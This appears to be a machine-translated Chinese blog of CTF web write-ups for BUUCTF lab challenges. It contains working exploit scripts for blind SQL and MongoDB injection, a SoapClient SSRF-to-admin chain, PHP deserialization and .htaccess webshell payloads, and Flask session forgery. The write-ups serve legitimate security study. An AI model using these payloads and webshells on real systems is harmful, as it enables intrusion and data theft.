当前位置:网站首页>Buu question brushing record - 7

Buu question brushing record - 7

2022-06-12 12:37:00 Arnoldqqq

[b01lers2020]Space Noodles

Follow page prompts ,POST visit
 Insert picture description here  Insert picture description here
Follow the prompts to access the last concatenated string
 Insert picture description here

[ WANGDING cup 2020 Semifinals ]faka

keyword : unauthorized , Arbitrary file reading
/admin Enter the background login page
Download the source code , Since the background address has been found , To look at first application/admin/controller/Index.php, See if you can use admin Identity login
 Insert picture description here

You can see pass() There are many validation items in the method , And the following info() There is no requirement
Not logged in none session,id You can enter without passing on valuable words if sentence , To follow up _form Method
 Insert picture description here

See this again _form_filter Method , Global search , In the same directory User.php Inside
 Insert picture description here
This $data[‘authorize’], It is permission control , see sql The documents are available authorize=3
 Insert picture description here
visit /admin/Index/info
 Insert picture description here
You can log in with this account and password
There is a backup management in the background. Click Add backup , Then you can download the backup file , You can see the parameters in the packet capture , Possible LFI Loophole
 Insert picture description here
Direct reading /flag
 Insert picture description here

This is actually the end , But there are also file upload vulnerabilities , Detailed steps reference :https://blog.csdn.net/rfrder/article/details/115067196
Screenshot of key points
 Insert picture description here

[FBCTF2019]Products Manager

keyword : Constraint based SQL attack
Start audit , First see add.php Of handle_post() When none of the parameters is empty , And secret That is, the password passes validata_secret Function test ( That is, there are upper and lower case letters and numbers and 10 Above position ), If the product does not exist in the database , Then insert data
 Insert picture description here  Insert picture description here
View.php If the password and account number are correct, the product will be displayed
 Insert picture description here
That should be sql Yes ,db.php Give a hint ,flag stay facebook User Description that
 Insert picture description here

But preprocessing is used where data is inserted The echoed place is html Entity
 Insert picture description here  Insert picture description here

I need to use Constraint based SQL attack
1. Database string comparison
When the database compares strings , If the length of two strings is different , The end of the shorter string is filled with spaces , Make the length of two strings consistent , such as , character string A:[String] And string B:[String2] When comparing , because String2 Than String One more string , At this time MySQL Will string A Fill in with [String ], That is, a space is added after the original string , Make the two strings the same length .
The following two query statements :

select * from users where username='Dumb'
select * from users where username='Dumb '

Their query results are consistent , In the second query statement Dumb The following space has no effect on the query . Because in MySQL Put... In the query statement username And in the database username When comparing values , They are just a string comparison operation , Conform to the above characteristics .
2. INSERT truncation
This is another feature of the database , When designing a field , We all have to set a maximum length , such as CHAR(10),VARCHAR(20) wait . But when the length of the actual inserted data exceeds the limit , The database truncates it , Keep only the limited length .

When logging in, you can register a name called [facebook done] Users of , That is, add a string of spaces after the target user name ( Be careful : A space must be followed by one or more arbitrary characters , Prevent the program from matching to the target user when checking whether the user name already exists ), The length of the space should exceed the limit of the database field , Let it force truncation . After registering the user name , Due to the problem of truncation , At this point, our user name is :[ facebook ], That is, except for a string of blank spaces , Our user name is the same as the target user name , So when you log in, because Database string comparison Characteristics of , Finally, the user name obtained by the program is the target user name .

Limiting conditions :

  1. The server does not limit the length of the user name . If the server limits the length of the user name, the database cannot be truncated , There are no conditions for utilization .
  2. Login for verification SQL Statement must be authenticated with username and password . If the verification process is to find out the corresponding password according to the user name , Then compare the passwords , Then it can not be used . Because when used Dumb To query the password for the user name , The database will now return two records , Generally, the first entry is the record of the target user , The password you transmitted must not match the password of the target user .
  3. The user name passed in by the user must be returned after successful authentication , Not the user name taken from the database . Because when we take users Dumb And password 123456 Landing time , In fact, the database returns our own user information , Our user name is actually [Dumb
    ], If the subsequent business logic is subject to the user name , Then we can't achieve the purpose of overstepping our authority .

Because there is 64 The length of bytes , So our names are bigger than 64 byte , for example facebook( Lots of spaces )1, This is registered as a user name , After successfully registering the user , We use it facebook As the user name and the password we just set .

Name:facebook                                                            11
Secret:Aa123456789
Description:123

Login after registration facebook Users can
 Insert picture description here

[Zer0pts2020]phpNantokaAdmin

keyword :sqlite Inject bypass
A simple web Database operation platform , You can create table fields to insert data
 Insert picture description here
Special characters are available : [email protected]$%^&_+=|~?<>[]{}:;.
The competition should be unable to read the source code fuzz Of
 Insert picture description here
Sqlite characteristic bypass

  1. select When , When column names are separated by white space characters ,sqlite Only the character before the space will be used as the column name , And ignore the characters after the space
select [id][fdas3"`] from test //1 select [id]"dgfsgfs" from test
//1
select [id]fdas from test
//1
 The first column name can be read normally . The second one will be ignored automatically 
  1. [] and ’、"、`、 You can also package column names
     Insert picture description here

  2. sqlite Sure create table … as select … The function is based on SELECT Results to create a table
    Input :

table_name=[aaa]as select [sql][&columns[0][name]=]from sqlite_master;&columns[0][type]=2
$sql = "CREATE TABLE [aaa] as select [sql][ (dummy1 TEXT, dummy2 TEXT, `]from sqlite_master;` 2);";

be equal to :

create table [aaa] as select sql from sqlite_master

lookup sqlite_master in sql The value of the column is placed in aaa In the table

Post  /?page=create
table_name=[aaa]as select [flag_2a2d04c3][&columns[0][name]=]from flag_bf1811da;&columns[0][type]=2

[ Yangcheng Cup 2020]EasySer

keyword :HTTP Parameter detection 、 Deserialization ,ssrf
adopt robots.txt obtain /star1.php
 Insert picture description here  Insert picture description here
At first glance, this is ssrf 了 star1.php?path=http://127.0.0.1/star1.php

<?php
error_reporting(0);
if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
    
    highlight_file(__FILE__);
} 
$flag='{Trump_:"fake_news!"}';

class GWHT{
    
    public $hero;
    public function __construct(){
    
        $this->hero = new Yasuo;
    }
    public function __toString(){
    
        if (isset($this->hero)){
    
            return $this->hero->hasaki();
        }else{
    
            return "You don't look very happy";
        }
    }
}
class Yongen{
     //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
    
        $this -> file = $file;
        $this -> text = $text;
        
    }
    public function hasaki(){
    
        $d   = '<?php die("nononon");?>';
        $a= $d. $this->text;
         @file_put_contents($this-> file,$a);
    }
}


class Yasuo{
    
    public function hasaki(){
    
        return "I'm the best happy windy man";
    }
}

?> 

Exp:

<?php

class GWHT{
    
    public $hero;
}
class Yongen{
     //flag.php
    public $file="php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";
    public $text="PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=";
}


$a = new GWHT();
$a->hero=new Yongen();
echo serialize($a);
?>

Payload With , however .. My parameters !!! No place to submit
use Arjun Blast

star1.php?path=http://127.0.0.1/star1.php&c=O:4:"GWHT":1:{s:4:"hero";O:6:"Yongen":2:{s:4:"file";s:77:"php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php";s:4:"text";s:36:"PD9waHAgQGV2YWwoJF9QT1NUW2NtZF0pPz4=";}}

Then the ant sword connects shell.php that will do

[FireshellCTF2020]URL TO PDF

keyword :ssrf xss
direct file:///etc/passwd Show url error , You can only access the Internet
The reptiles used are WeasyPrint, This crawl won't render js, But it can be analyzed <link attachment=xxx>
Vps Put one on the table index.html

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
</head>
<body>
<link rel="attachment" href="file:///flag">
</body>
</html>

Download it pdf file binwalk -e Deal with or use Poppler

pdfdetach -list 5c8b3275e7b5f4b8d2556408a5bb00d5.pdf
pdfdetach -save 1 5c8b3275e7b5f4b8d2556408a5bb00d5.pdf

 Insert picture description here

Poppler It's based on xpdf-3.0 Code base PDF Rendering Library . It contains the following for operation PDF Command line feature set of the document . ◈
pdfdetach – List or extract embedded files .◈ pdffonts – Font Analyzer .◈ pdfimages – Picture extractor .◈
pdfinfo – document information .◈ pdfseparate – Page extractor .◈ pdfsig – Check the digital signature .◈ pdftocairo
– PDF To PNG/JPEG/PDF/PS/EPS/SVG converter , Use Cairo .◈ pdftohtml – PDF To
HTML converter .◈ pdftoppm – PDF To PPM/PNG/JPEG Picture Converter .◈ pdftops – PDF To
PostScript (PS) converter .◈ pdftotext – Text extraction .◈ pdfunite – Document merge tool .

For the purpose of this guide , We only use pdftops function .

Based on Arch Linux On the distribution of , install Poppler, function :

$ sudo pacman -S poppler

stay Debian、Ubuntu、Linux Mint On :

$ sudo apt-get install poppler-utils

stay RHEL、CentOS、Fedora On :

$ sudo yum install poppler-utils

[2021 Xiangyun cup ]Package Manager 2021

keyword :mongodb typescript SQL Inject
 Insert picture description here

Tips Try to create your own package and submit it to the Administrator :), Register any user There are submissions package The function of
 Insert picture description here

I thought it was xss , Submit package then admin That one bot spot , See the source code that also has bots.js
View source code , Found to be SQL Inject .......
 Insert picture description here

Waf The regularity of does not add ^$, So you can bypass , As long as there is 32 Bit string that meets the regular requirements
Such as : aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[0]=="a
 Insert picture description here

Mongoose It's a way for us to get through Node To operate MongoDB A module of the database
 Insert picture description here

Go to /auth Just send a message token Grab the bag and get csrf session Fill in the script
Exp:

import requests
import string

url="http://543e1255-f147-463f-b41b-04d92e06652e.node4.buuoj.cn:81/auth"
headers={
    
    "Cookie": "session=s:SFNpUakZ1v5D3jBsEwvqrt-saSWfjFFO.64UD/FybzWsT+aTbgfUdNEifdXv4GEKo8MMa9eKsiQc"
}

flag = ''
for i in range(10000):
    for j in string.printable:
        if j == '"':
            continue
        payload='aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"||this.password[{}]=="{}'.format(i,j)
        #print(payload)
        data={
    
            "_csrf":"BRDHiXdk-o032Lm9KjDAR6ECrQjneorPS-_k",
            "token":payload
        }


        r=requests.post(url=url,data=data,headers=headers,allow_redirects=False)
        #print(r.text)
        if "Found. Redirecting to" in r.text:
            #print(payload)
            flag+=j
            print(flag)
            break
"[email protected]#&@&@efefef*@((@))grgregret3r"

 Insert picture description here

[ Geek challenge 2020]Roamphp2-Myblog

keyword : Pseudo protocol file read ,zip Pseudo protocol trigger shell

?page=php://filter/read=convert.base64-encode/resource=login

Read the source code

<?php
//login.php
require_once("secret.php");
$secret_seed = mt_rand(); //secret.php The content of 
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();



// The following is a admin/user.php The content of 

// Login section 
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
    
    if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){
      // No one knows my password, including myself
        $logined = true;
        $_SESSION['status'] = $logined;
    }
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
    die();
}



// File upload section 
if(isset($_FILES['Files']) and $_SESSION['status'] === true){
    
    $tmp_file = $_FILES['Files']['name'];
    $tmp_path = $_FILES['Files']['tmp_name'];
    if(($extension = pathinfo($tmp_file)['extension']) != ""){
    
        $allows = array('gif','jpeg','jpg','png');
        if(in_array($extension,$allows,true) and in_array($_FILES['Files']['type'],array_map(function($ext){
    return 'image/'.$ext;},$allows),true)){
    
                $upload_name = sha1(md5(uniqid(microtime(true), true))).'.'.$extension;
                move_uploaded_file($tmp_path,"assets/img/upload/".$upload_name);
                echo "<script>alert('Update image -> assets/img/upload/${upload_name}') </script>";
        } else {
    
            echo "<script>alert('Update illegal! Only allows like \'gif\', \'jpeg\', \'jpg\', \'png\' ') </script>";
        }
    }
}

You can see that the password is the same as the double random number Can't get $_SESSION['password'] Value , But you can just leave it blank password Also empty It can also satisfy $_POST['password'] == $_SESSION['password'] Successfully logged in
 Insert picture description here

The uploaded code is filtered and the suffix is written , But you can upload zip Change suffix to jpg, use zip Pseudo protocol does not affect triggering
Pass a 2.php Write horse Compressed into zip Change suffix to upload
 Insert picture description here

/index.php?page=zip://./assets/img/upload/1160160437d57e26b63d22d548c3e87c5e93423f.jpg%232
cmd=system('cat /flllaggggggggg_isssssssssss_heeeeeeeeeere');

 Insert picture description here

[De1CTF 2019]ShellShellShell

keyword :sql Inject , Deserialize native classes ,ssrf, Bypass unlink()
These two questions are stitched together ,tmd So hard
https://github.com/rkmylo/ctf-write-ups/tree/master/2018-n1ctf/web/easy-php-540

https://xi4or0uji.github.io/2018/11/06/2018%E4%B8%8A%E6%B5%B7%E5%B8%82%E5%A4%A7%E5%AD%A6%E7%94%9F%E4%BF%A1%E6%81%AF%E5%AE%89%E5%85%A8%E7%AB%9E%E8%B5%9Bweb%E9%A2%98%E8%A7%A3/

A login interface ,action That input register You can also register , here md5 The verification code of uses script explosion

# -*- coding:utf-8 -*-
import hashlib

for num in range(10000,9999999999):
    res = hashlib.md5(str(num).encode()).hexdigest()
    if res[0:5] == "af1e5": 
        print(str(num)) 
        break

Sign up for a test The user logs in to view , only one publish The function of
 Insert picture description here

Possible sql Inject , But the test didn't respond
Dirsearch Scanning the directory found index.php~ file , It is the backup file left by the editor
 Insert picture description here

Action Is written to die in a list , You can see another phpinfo
hold config.php~ user.php~ Let's have a look
User.php There is an upload, but it needs admin jurisdiction
 Insert picture description here

Follow up the first half of this insert function , stay config.php
 Insert picture description here

The written data will be first get_column Function processing , Will be wrapped in back quotation marks
 Insert picture description here

The key point is actually preg_replace that , All backquotes are converted to single quotes , Then you can inject
 Insert picture description here

Use `) To close , The injection point is signature Location , Final executed sql The statement is shown in the figure
 Insert picture description here

Exp:

# encoding=utf-8
#python2


import  requests
import string
import time

url = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/index.php?action=publish'
cookies = {
    "PHPSESSID": "vama32u1uclof287jhsrguv0q2"}
data = {
    
	"signature": "",
	"mood": 0
}
table = string.digits + string.lowercase + string.uppercase


def post():
        password = ""
        for i in range(1, 33):
                for j in table:
                    signature = "1`,if(ascii(substr((select password from ctf_users where username=0x61646d696e),%d,1))=%d,sleep(3),0))#"%(i, ord(j))			    # here 0x61646d696e yes admin The hexadecimal of , Of course with `admin` Instead, you can 
                    data["signature"] = signature
			#print(data)
                    try:
                            re = requests.post(url, cookies = cookies, data = data, timeout = 3)
            #print(re.text)
                    except:
                        password += j
                        print(password)
                        break
        print(password)

def main():
	post()

if __name__ == '__main__':
	main()

The password for jaivypassword
See login here again , To log in admin The user will also detect ip, And is $_SERVER[‘REMOTE_ADDR’] No forgery , Then you can only find one ssrf The point of , Log in
 Insert picture description here

Find a deserialization point to use php Primitive class soapclient Deserialization Conduct ssrf, adopt ?action=phpinfo notice php Open the soap expand , This is not admin When you enter this if sentence , Then take the data of the second row and deserialize it
 Insert picture description here  Insert picture description here

Get the local ip, Then, after serializing the content, use addslashes Transference , You can use mysql When reading data, you will put the 16 The property of binary conversion to the original string bypasses this escape
 Insert picture description here

Generate serialization payload Script for :

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=Ixk5iXwrUkJdacRF553V';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=gkpe4nhjg5dhv2l3kk5o6tglh4'
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

there code also PHPSESSID It needs to be the same as what we are going to use to log in , Pre generate a session from our browser , Solve the verification code locally , And will PHPSESSID Send to the verification code together with the request and the solution of the verification code ( The solution of the verification code is associated with our session ). If SSRF success , this PHPSESSID Will be an administrator authenticated session . To prevent interference, open two browsers , One hit , One ready to log in
The generated payload, Call sql Where it is injected
There is no obstacle in uploading , Just send it directly , Script automation is used here ,https://github.com/rkmylo/ctf-write-ups/blob/master/2018-n1ctf/web/easy-php-540/solve_ssrf_rce.py Take the script of the original question and change it

#python2
import re
import sys
import string
import random
import requests
import subprocess
from itertools import product
import hashlib


_target = 'http://b3e54b20-f328-4a32-8847-660af06f9e85.node4.buuoj.cn:81/'
_action = _target + 'index.php?action='

def get_creds():
    username = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    password = ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(10))
    return username, password

def solve_code(html):
    code = re.search(r'Code\(substr\(md5\(\?\), 0, 5\) === ([0-9a-f]{5})\)', html).group(1)
    for num in range(10000,99999999):
        res = hashlib.md5(str(num).encode()).hexdigest() 
        if res[0:5] == code:  
            print(str(num))
            return str(num)
            break
    

def register(username, password):
    resp = sess.get(_action+'register')
    code = solve_code(resp.text)
    sess.post(_action+'register', data={
    'username':username,'password':password,'code':code})
    return True

def login(username, password):
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    sess.post(_action+'login', data={
    'username':username,'password':password,'code':code})
    return True

def publish(sig, mood):
    return sess.post(_action+'publish', data={
    'signature':sig,'mood':mood})#, proxies={'http':'127.0.0.1:8080'})

def get_prc_now():
    # date_default_timezone_set("PRC") is not important
    return subprocess.check_output(['php', '-r', 'date_default_timezone_set("PRC"); echo time();'])

def get_admin_session():
    sess = requests.Session()
    resp = sess.get(_action+'login')
    code = solve_code(resp.text)
    return sess.cookies.get_dict()['PHPSESSID'], code

def brute_filename(prefix, ts, sessid):
    ds = [''.join(i) for i in product(string.digits, repeat=3)]
    ds += [''.join(i) for i in product(string.digits, repeat=2)]
    # find uploaded file in max 1100 requests
    for d in ds:
        f = prefix + ts + d + '.jpg'
        resp = requests.get(_target+'adminpic/'+f, cookies={
    'PHPSESSID':sessid})
        if resp.status_code == 200:
            return f
    return False

print '[+] creating user session to trigger ssrf'
sess = requests.Session()

username, password = get_creds()

print '[+] register({}, {})'.format(username, password)
register(username, password)

print '[+] login({}, {})'.format(username, password)
login(username, password)

print '[+] user session => ' + sess.cookies.get_dict()['PHPSESSID'] + ' '

print '[+] getting fresh session to be authenticated as admin'
phpsessid, code = get_admin_session()
print code

ssrf = 'http://127.0.0.1/\x0d\x0aContent-Length:0\x0d\x0a\x0d\x0a\x0d\x0aPOST /index.php?action=login HTTP/1.1\x0d\x0aHost: 127.0.0.1\x0d\x0aCookie: PHPSESSID={}\x0d\x0aContent-Type: application/x-www-form-urlencoded\x0d\x0aContent-Length: {}\x0d\x0a\x0d\x0ausername=admin&password=jaivypassword&code={}\x0d\x0a\x0d\x0aPOST /foo\x0d\x0a'.format(phpsessid, len(code)+43, code)
print ssrf
mood = 'O:10:\"SoapClient\":4:{
    {s:3:\"uri\";s:{}:\"{}\";s:8:\"location\";s:39:\"http://127.0.0.1/index.php?action=login\";s:15:\"_stream_context\";i:0;s:13:\"_soap_version\";i:1;}}'.format(len(ssrf), ssrf)
mood = '0x'+''.join(map(lambda k: hex(ord(k))[2:].rjust(2, '0'), mood))

payload = 'a`,{})#'.format(mood)

print '[+] final sqli/ssrf payload: ' + payload

print '[+] injecting payload through sqli'
resp = publish(payload, '0')

print '[+] triggering object deserialization -> ssrf'
sess.get(_action+'index')#, proxies={'http':'127.0.0.1:8080'})

print '[+] admin session => ' + phpsessid

# switching to admin session
sess = requests.Session()
sess.cookies = requests.utils.cookiejar_from_dict({
    'PHPSESSID': phpsessid})

print '[+] uploading stager'
shell = {
    'pic': ('test.php', '<?php eval($_POST[cmd]);', 'image/jpeg')}
resp = sess.post(_action+'publish', files=shell)#, proxies={'http':'127.0.0.1:8080'})
print(resp.text)
prc_now = get_prc_now()[:-1]  # get epoch immediately

if 'upload success' not in resp.text:
    print '[-] failed to upload shell, check admin session manually'
    sys.exit(0)

 Insert picture description here

The Trojan horse has been uploaded to /upload/test.php Just connect the ant sword , password cmd
Follow the prompts on the intranet , Open the virtual terminal , View network card information , Found the intranet ip paragraph , You can scan ports with plug-ins
 Insert picture description here

use curl Save the contents of the page , I this -O Failed to save Directly copy it out and save it
 Insert picture description here  Insert picture description here

For non array filename A bunch of strict restrictions , But there are no restrictions on arrays , So we can consider using arrays to bypass , requirement filename Of end and filename Of [count-1] Can't be equal , Then just send two directly, such as :file[1]=111&file[2]=php
 Insert picture description here  Insert picture description here

Here is the random file name used to save the file , And finally unlink Delete file , Construct the file name traversed by the directory to bypass /../shell.php
Reference resources :https://blog.csdn.net/a3320315/article/details/104132751
 Insert picture description here

utilize postman structure phpcurl package
 Insert picture description here

there file that shell.php The content is @<?php echofind /etc -name flag -exec cat {} +;
 Insert picture description here

hello The name of that file should be the same as that of the uploaded file , Otherwise you won't be able to access
 Insert picture description here

Code That generates code , But it doesn't generate shell.php The content of , You have to add it yourself , Refer to Mr. Zhao's , I don't bother to log in and upload here. I just created a new one in the ant sword , After saving, you can access it directly

<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'http://10.0.97.6',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_CUSTOMREQUEST => 'POST',
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"shell.php\"\r\nContent-Type: false\r\n\r\[email protected]<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\ntest.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n/../test.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);

curl_close($curl);
echo $response;

 Insert picture description here

Of course, the steps of uploading files here can also be used directly in the virtual terminal curl, Upload a shell.php To the terminal under the same directory

@<?php echo `find /etc -name *flag* -exec cat {} +`;

If used -F Parameters ,curl It'll take multipart/form-data By sending POST request .-F Parameter with name=value To specify the parameter content , If the value is a file , You need to [email protected] How to specify .

curl 'http://10.0.97.6' -F 'hello=test.php' -F '[email protected]' -F 'file[1]=111' -F 'file[2]=./../test.php'

 Insert picture description here

[JMCTF 2021]UploadHub

keyword :.htaccess Open the current directory php analysis
Made a white list of suffixes
 Insert picture description here
Looking at the source code, I almost thought it was sql Yes , There is also a in the source code package apache2.conf In profile php_flag engine Set to 0, Will close the directory and subdirectories php analysis
 Insert picture description here

By uploading .htaccess The file in /upload Open the directory php analysis

<FilesMatch .htaccess>
SetHandler application/x-httpd-php 
Require all granted  
php_flag engine on	
</FilesMatch>

php_value auto_prepend_file .htaccess
#<?php eval($_POST['cmd']);?>

Force all matching files to be processed by a specified processor

ForceType application/x-httpd-php
SetHandler application/x-httpd-php

php_flag engine on # Turn on PHP Parsing php_value auto_prepend_file .htaccess
Automatically resolve the include before the main file is resolved .htaccess The content of

see phpinfo notice system And other common command execution functions are disabled

var_dump(file_get_contents("/flag"));

Or use <file> label , Its priority is higher than <directory>

<Files "*.gif">
SetHandler application/x-httpd-php
php_flag engine on
</Files>

Upload another gif Suffixed horse is OK

Regular blind notes can also be used

import requests
import string
import hashlib
ip = '74310c5695d734e667dc2250a05dcd29'// Change it to your own 
print(ip)

def check(a):
    htaccess = ''' <If "file('/flag')=~ /'''+a+'''/"> ErrorDocument 404 "wupco6" </If> '''
    resp = requests.post("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/index.php?id=69660",data={
    'submit': 'submit'}, files={
    'file': ('.htaccess',htaccess)} )
    a = requests.get("http://ec19713a-672c-4509-bc22-545487f35622.node3.buuoj.cn/upload/"+ip+"/a").text

    if "wupco" not in a:
        return False
    else:
        print(a)
        return True
flag = "flag{"
check(flag)

c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
    for i in c:
        print("checking: "+ flag+i)
        if check(flag+i):
            flag = flag+i
            print(flag)
            break
        else:
            continue

[FireshellCTF2020]ScreenShooter

keyword :CVE-2019-17221 Reptiles xml
A screenshot of a web page , Tried the file The agreement doesn't work
 Insert picture description here

https://beeceptor.com/ You can check http request , After we create an endpoint , Request the endpoint within the web page , View the crawler information used , I can't get the requested information when I do it myself , Later, it was found that it could not be used https
 Insert picture description here

You can clearly see the use of PhantomJS Reptiles , Search for PhantomJS An arbitrary file upload vulnerability was found CVE-2019-17221, adopt file://URL Of XMLHttpRequest Trigger
 Insert picture description here

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>
	<script type="text/javascript"> var karsa; karsa = new XMLHttpRequest; karsa.onload = function(){
       document.write(this.responseText) }; karsa.open("GET","file:///flag"); karsa.send(); </script>
</body>
</html>

lose vps Let the target plane access

[CISCN2019 The NBA finals Day1 Web3]Flask Message Board

keyword : Template Injection ,session forge
Test template injection , Fill in all three { {10*10}} Direct hint hacker 了
 Insert picture description here

A separate Author That's fine , The other two are normally filled ,{ {config}} obtain secret_key
 Insert picture description here

forge session get admin identity
 Insert picture description here

flask-unsign --sign --cookie "{'admin': True}" --secret “11|iilIilI11|1|IlIII1l1||11ilI|I1i1iIlI1”

 Insert picture description here

But there seems to be something wrong with the environment , this session I kali and win Have been generated several times , visit /admin It still shows that it is not admin Of session, It's always wrong to run a loop with a script

import requests
import re,sys
from flask.sessions import SecureCookieSessionInterface
target = 'http://aa94f7b4-108d-4bd8-a7f1-513c1174daea.node4.buuoj.cn:81/'

secret_key = 'IiI1|li1|l|il1illlillI1||I1l|IIl1i1||iI|'


class App(object):  
    def __init__(self):
        self.secret_key = None
app = App()  
app.secret_key = secret_key

si = SecureCookieSessionInterface()  
serializer = si.get_signing_serializer(app)
while(1): 
	session = serializer.dumps({
    'admin':True})
	print(session)

	r = requests.get(target+'/admin', cookies={
    'session':session}).text
	if 'Settings' in r:
	    print('fixed')
	    exit(0)

 Insert picture description here

stay Content Enter a length of 1024 String , for example aaaaaabxCZC, You can see flag.

 Insert picture description here

[WMCTF2020]Web Check in 2.0

keyword : php _filter Filter removal exit();

<?php
//PHP 7.0.33 Apache/2.4.25
error_reporting(0);
$sandbox = '/var/www/html/sandbox/' . md5($_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
var_dump("Sandbox:".$sandbox);
highlight_file(__FILE__);
if(isset($_GET['content'])) {
    
    $content = $_GET['content'];
    if(preg_match('/iconv|UCS|UTF|rot|quoted|base64/i',$content))
         die('hacker');
    if(file_exists($content))
        require_once($content);
    echo($content);
    file_put_contents($content,'<?php exit();'.$content);
}

To get around this exit(); It's added to the front of our content. It can't be done by annotators Usually available php The encoder
https://xz.aliyun.com/t/8163#toc-0
The usual ones here are all done But there are also two compression filters
https://www.php.net/manual/zh/filters.compression.php
payload:

?content=php://filter/zlib.deflate/string.tolower/zlib.inflate/?><?php%0deval($_GET[cmd]);?>/resource=test.php

After coding and decoding combined fist e It's gone
 Insert picture description here  Insert picture description here

There's another way But it is invalid in this question Because you don't know flag file name , If you write a horse, it will be removed by this filter

php://filter/write=string.strip_tags/?>php_value%20auto_prepend_file%20G:\test.php%0a%23/resource=.htaccess

string.strip_tags // Remove... From the string HTML and PHP Mark ,php7.3 Repeal after

PyCalX 1&2

keyword : Command execution injection Python Format string vulnerability

PyCalx1

 Insert picture description here

Directly see how the final executed statements are spliced
 Insert picture description here

repr() The function converts the object to a form that can be read by the interpreter . Actually, I can wrap it in quotation marks

If you enter a number, you will introduce a single quotation mark
 Insert picture description here

get_op Only the first character is filtered and verified , So we can introduce single quotation marks in the second place
 Insert picture description here

The result after final splicing is shown in the figure , Use # Comment out the extra single quotation marks
 Insert picture description here

The result is bool Value or contains only [0-9] Only when the output is
 Insert picture description here

Then just run like blind injection

# coding=utf-8
import string
import requests
import sys
from urllib import quote
if __name__ == '__main__':
    reg_str = string.punctuation + string.ascii_lowercase + string.ascii_uppercase + string.digits
    Flag = "flag{"
    url = "http://c3e752a6-849e-4e78-ab4f-6c3f890b6673.node4.buuoj.cn:81/cgi-bin/pycalx.py?value1=t&op=%2B%27&value2=+and+True+and+source+in+FLAG%23&source=" + quote(
        Flag)
    for i in range(100):
        for x in reg_str:
            url_t = url + quote(x)
            print url_t
            html = requests.get(url_t).content
            if '''True >>>''' in html:
                url = url_t
                Flag = Flag + x
                print Flag
                break

PyCalx2

stay python3.6.2 In the version ,PEP 498 A new string format mechanism is proposed , go by the name of “ String interpolation ” Or a more common form of address is F-strings

F-strings Provides a clear and convenient way to python Expressions are embedded in strings for formatting .
Use F-strings No need to escape single quotation marks , Because it supports expressions that can use if else.

In short, you can easily insert an expression directly into a string , With f start , The expression is inserted in braces {} in , At run time, the expression is evaluated and replaced with the corresponding value

[Black Watch Group questions ]Web2

Failed to register any account
 Insert picture description here

Test in the login interface sql Injection found waf, It's OK to register and input anything

 Insert picture description here
 Insert picture description here  Insert picture description here  Insert picture description here  Insert picture description here

[2021 Xiangyun cup ]secrets_of_admin

key word :
SSRF CVE-2019-15138

Index.ts You can see a login and pdf The function of template rendering
 Insert picture description here

The generated file is saved in files Under the table of contents , The file name is from uuid form , Ownership of documents superuser user
 Insert picture description here

/api/files Routes can be added filelog , And the user is the currently logged in user , But there are local restrictions , need ssrf
/api/files/:id The contents of the file can be read at , But be careful not to read superuser User's files
 Insert picture description here

See the database file again , It's written directly admin User password , At the same time flag file information , The document belongs to superuser user
In other words, the generated pdf Document and flag file
 Insert picture description here

Then according to the above information , The idea of reading files should be admin After account login ssrf visit /api/files Routing pair files A file in a directory , Associate in the database , Re pass /api/files/:id To read
Use CVE-2019-15138 hit ssrf https://security.snyk.io/vuln/SNYK-JS-HTMLPDF-467248
 Insert picture description here

Use arrays to bypass filtering
 Insert picture description here

